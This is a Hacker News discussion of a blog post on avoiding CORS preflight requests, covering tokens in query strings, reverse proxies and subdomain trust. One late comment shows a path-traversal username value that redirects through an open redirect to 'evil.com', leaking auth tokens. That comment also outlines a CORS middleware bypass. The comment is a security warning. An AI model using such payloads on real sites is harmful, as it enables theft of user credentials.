
Killing CORS Preflight Requests on a React SPA - AlphaSights
https://m.alphasights.com/killing-cors-preflight-requests-on-a-react-spa-1f9b04aa5730#.t6u706da4
======
Xorlev
> In terms of security, all API calls should be using https and there is
> little difference in putting the token in headers or as part of the query
> string.

Mostly true. But as a heads up, you might want to shy away from this as plenty
of browser extensions are actually spyware and report full URLs back to the
mothership. We ran into this recently where calls to our service including API
keys in the query parameters ended up being reported back -- our customers
were testing our API by calling it in the browser. Some kind of extension(s)
was reporting it to a service that finds popular URLs on a given domain.

Headers aren't much more secure if someone is trying to steal data, but
analytics providers/url aggregators don't care about some arbitrary header.

Our solution has been to push users to use headers and offer mutual auth
(client certificates). At least with mutual auth, there isn't a trivially-
leakable shared secret, but it does require more sophisticated automation (or
a gateway/proxy) for clients to manage.

~~~
lmm
I wish browser vendors would put work into making the browser-managed client
certificate UX much nicer. That would make it possible to offer a real step
change in security.

~~~
cmrx64
This is about authenticating consumers of an API, not end users. So while your
wish is nice, it's a non sequitur here.

~~~
lmm
If we're talking about browser extensions (as the comment I replied to was)
then we're talking about calls being made from the browser.

~~~
Xorlev
FWIW, if it clarifies things, we disable shared secret auth when enabling
mutual auth. At that point, you can really only call it with curl or your
application.

~~~
lmm
I'm not sure I follow. If you can use it from curl (presumably by passing the
client certificate) couldn't you also use it from a browser? The browser has
client certificate infrastructure, surely it can use it when making ajax
requests?

~~~
Xorlev
You can, it just requires you to import the cert and use some pretty gnarly
UI. I didn't mean to imply you couldn't use it from the browser, just that it
was much less likely than curl + we rely on the cert for figuring out your
account and not an API key.

~~~
lmm
Right, which ties back into my original point. I bet there are devs using the
less secure interface right now because it was easier to test in the browser
that way. Good UX for certificate management in browsers would make a lot of
the web more secure.

------
BinaryIdiot
> _we had to deal with making CORS requests from app.example.com to
> api.example.com_

What? If you share the same domain but a different sub domain then just set
the document.domain property[1] so they trust each other and be done with it.
You don't even need CORS...

Alternatively setup a proxy to keep everything behind the same domain. This is
typically a best practice.

> _In our case, since each CORs request makes a preflight check, it doubles
> this significant latency without adding any value._

Considering CORS contains no body and does no processing beyond asking what
the client can and cannot do, it seems odd this would always "double" the
latency here.

> _After reading a great blog post and MDN’s CORS docs I realized there are
> circumstances where the browser does not make a preflight request, if
> conditions are met_

Okay this is scaring me. Where are we going with this?

> _In terms of security, all API calls should be using https and there is
> little difference in putting the token in headers or as part of the query
> string._

Yeah was afraid of that. Please don't do this especially if you use that URL
in any way to give the user access to a link (e.g. downloading a file) because
now it's part of their browser history and they can't completely log out.

> _Thanks for reading this! I hope it helped, even if the conclusion is
> “preflight requests are too troublesome, I’m going proxy” :)_

A proxy is the correct solution. Not this horrible hack fest of completely
disregarding important HTTP headers. _Sigh_

[1] [https://developer.mozilla.org/en-
US/docs/Web/API/Document/do...](https://developer.mozilla.org/en-
US/docs/Web/API/Document/domain)

~~~
EmielMols
Even more so, please prevent expensive TLS setup roundtrips to two different
hosts. That's probably 2x as expensive as a single preflight request for non-
resuming sessions.

As parent states: a simple reverse proxy is probably the way to go here. Takes
about 3 lines in nginx.

> After reading a great blog post and MDN’s CORS docs I realized there are
> circumstances where the browser does not make a preflight request, if
> conditions are met

I must say I was a bit surprised that some POST requests can be executed
without verifying CORS. There must be a bunch of POST endpoints out there that
do have side-effects based on the cookie value, even without body. The
distinction in behaviour between json or form encoding is pretty bizarre imo.

------
abrkn
I'd still recommend setting up a proxy that serves the api as
app.your.co/api/. Dealing with CORS is just very troublesome and a complete
waste of time.

~~~
gedy
This 1000x. While for some specific use cases it's important, trying to
leverage CORS to for multiple backend systems that are under your control is
not worth the hassle.

------
abritinthebay
Everyone here is focusing on their strange app choices (which is fine) but the
meat of the article is useful:

* Avoid content-type for GET requests

* if you're using HTTPS exclusively then custom headers for session auth is not _generally_ needed so you can avoid those headers in GETs and POSTs as well.

* if you can get away with POSTing form-style vars rather than JSON then you'll avoid CORS issues too.

The rest of the article is honestly a bit pointless showboating of their app
for no reason (and shows some rather poor practice not to mention the author
being surprised by how CORS works in 2016...) but those are the takeaways.

------
Confiks
"If this feels “so 2015” to you, we did start building the app in early 2015
and went down the centralized RESTful API route."

If the author considers that route to be "so 2016", what would the 2016 Newest
Thing be?

~~~
treve
Another symptom of how rotten the javascript ecosystem is. If I'm picking a
technology stack for a business, I want to pick one that will last me 10
years.

~~~
civilian
Good luck with your Java Web Start app!

~~~
lmm
Java Web Start is much nicer technically, and JavaFX UIs can be pretty nice. I
honestly wish a lot of webapps were shipped that way.

------
3pt14159
When I started going down the whole CORS rabbit hole a very simple solution
came to me almost immediately via googling. Xdomain. It is simple, it doesn't
do preflight checks, it's secure. The only silly edgecases are where _other
people_ have already worked around CORS awfulness for their client libraries
(MixPanel, FB SDK, Intercom).

~~~
Benjamin_Dobell
Thanks for pointing XDomain out to me.

XDomain certainly feels like a hack, but if you've done any serious work with
CORS you'll probably realise CORS itself is just hacks upon hacks.

Project Link:
[https://github.com/jpillora/xdomain](https://github.com/jpillora/xdomain)

------
strommen
> 1\. Find a way to proxy requests so that there’s no CORS

Turns out this is really, really easy.

I tried this recently on a cookie-authenticated web api (after discovering
that CORS cookies are useless because mobile Safari will always block them).
I'm never touching CORS again unless it's a blasting out a bunch of '*'
Access-Control-Whatevers on a public API.

------
orf
Yeeaahh.... Putting auth tokens in GET parameters is more 1999 than 2016.
Please don't do it, its not smart.

~~~
balls187
Especially if they don't expire!

------
jdmichal
I personally always thought that the CORS domain checking was needlessly and
overly restrictive.

I can understand entirely different top-level domains; definitely 100%
necessary.

You start to lose me at different sub-domains for the same top-level domain.
Do we really need to check _api.example.com_ from _app.example.com_? Chances
are good that they're both controlled by the same entity, so what's the
problem?

I'm out the door and around the corner when it gets down to the _port number_
of the host. So now two requests that should resolve to the _same machine_
need a CORS check? I think MS did right in having IE ignore the port in CORS
domain checks. Not sure whether Edge does.

~~~
Manishearth
> Do we really need to check api.example.com from app.example.com?

Sure. What about hosted subdomains where people can create their own sites,
with JS, on different subdomains? CORS can't work without applying the most
restrictive policy by default -- if you do care about these things being able
to access each other, send Access-Control headers.

~~~
terinjokes
Then request to add yourself to the public suffixes list.

~~~
jessaustin
So rely on proactive work by various SaaS vendors/other domain owners to
preserve security for some of their clients, rather than relying on well-
defined action from the owners of a particular service to ensure that said
service works at all? Seems like we're "failing open" with the policy you
suggest?

------
jc4p
super minor but unless I'm mistaken SPA stands for "Single Page Application",
so the first sentence in the post is a bit jarring:

> AlphaSights’ recruitment platform evolved from a Rails application into a
> _classic SPA app_.

Update 20s later: is "Wepack" in the diagram supposed to be "Webpack"?

Update 60s later: Can you explain _what_ you're actually using that runs into
CORS issues? Are browsers talking to the api.* address directly? The diagram
seems to imply that all api.* communication is routed through app.*, in which
case CORS wouldn't be an issue, right?

~~~
jc4p
> Wow, my first thought was “headers are messy and this is so restrictive”. As
> a lazy developer, I’ve shied away from dealing with headers, relying on
> abstractions provided by libraries and frameworks.

I'm sure this is a common thought, but oh man it hurts me to read it.

~~~
vittore
The whole thing hurts to read. it could only hurt more if he'd discover the
fact that there are in fact other verbs than GET and POST at the same time.

------
rtpg
I was running into a CORS-related issue, and was thinking of a possible
solution:

If it were possible to make "cookie-less" AJAX requests to things like APIs,
would it be safe for those requests to bypass CORS? My impression is that the
cookie sending is the main danger, and if we could opt-out, then the "use API
with provided key" use-case could work independent of what the destination
site wants.

I don't know if there's a "spec" for CORS rules though..

~~~
strommen
FYI, Safari on iOS will _never_ send cookies cross-domain, regardless of how
you configure the server or call your XmlHttpRequest (the user can enable 3rd-
party cookies in Settings, but literally nobody will ever do this):

[https://stackoverflow.com/questions/14206531/mobilesafari-
wo...](https://stackoverflow.com/questions/14206531/mobilesafari-wont-send-
back-cookies-set-with-cors)

------
tlrobinson
Maybe this is obvious, but why not just configure a reverse proxy to point
different paths to different backends?

I always assumed CORS was more for connecting directly to 3rd party APIs.

~~~
kevan
Sounds like they're hosted entirely on Heroku and didn't want to go through
the effort of adding external infrastructure. But I just found out apparently
you can host Nginx on Heroku [1] which is neat, but looks a bit sketchy

[1] [https://github.com/ryandotsmith/nginx-
buildpack](https://github.com/ryandotsmith/nginx-buildpack)

------
tshadwell
I think it's super important to understand that removing the preflight request
practically kills the security measures of CORS. With no preflight request,
the browser has no idea whether it can make a request until it already has, at
which point it can only restrict access to the contents of the response.

The reason 'simple' and 'unsimple' exists is that simple requests are just
normal XHR requests, and it would be infeasible to change all the web
standards to prevent something that has been used for years.

Tokens in URLs is a very different, and perhaps drastically more insecure
pattern than in headers. The primary issue is that it is extremely common to
do:

"/api/v1/user/" \+ username + ".json?token=" \+ token

That might seem fine and dandy, but what if I tell you "username" is now
"../../../login?after=//evil.com?x="

Now the url is:

/api/v1/user/../../../login?after=//evil.com?x=.json?token=TOKEN

->

/login?after=//evil.com?x=.json?token=TOKEN

->

[http://evil.com?x=json?token=TOKEN](http://evil.com?x=json?token=TOKEN)

Assuming you have an open redirect flaw in your login system (extremely
common), I can now exfiltrate user authorization tokens to my own server.

Setting Content-Type to text/plain works, but doing this kind of fiddling is
pretty scary. If your Content-Type ends up as XML or HTML, you've just opened
up your site for global XSS.

> The browser does not make an OPTIONS request, the server with awareness can
> potentially not allow the request. Web frameworks don’t do this because in
> lieu of better security measures, such as CSRF or using sessionless
> authentication.

If I'm understanding it right, you're saying that if configured correctly, the
server can decide to not display information if the CORS rules are not met.
This is to my knowledge a misunderstanding of how CORS works. Once you realise
that CORS is meant to be a static set of headers cache-able and dedicated to a
specific endpoint it makes a lot more sense.

With CORS, it is the browser, having been informed by the CORS headers what
restrictions are placed on making requests to that endpoint which decides
whether a request can go through.

This misunderstanding can become ugly when, as I've seen in several popular
libraries from my research -- when combined with the 'fail early' pattern. The
CORS-aware middleware sends rules to the browser as it validates them, and if
one fails exits prematurely. If an earlier CORS rule is purposely failed by an
attacker during a preflight request, the middleware will not send all the CORS
headers, allowing subsequent requests with less / zero restrictions.

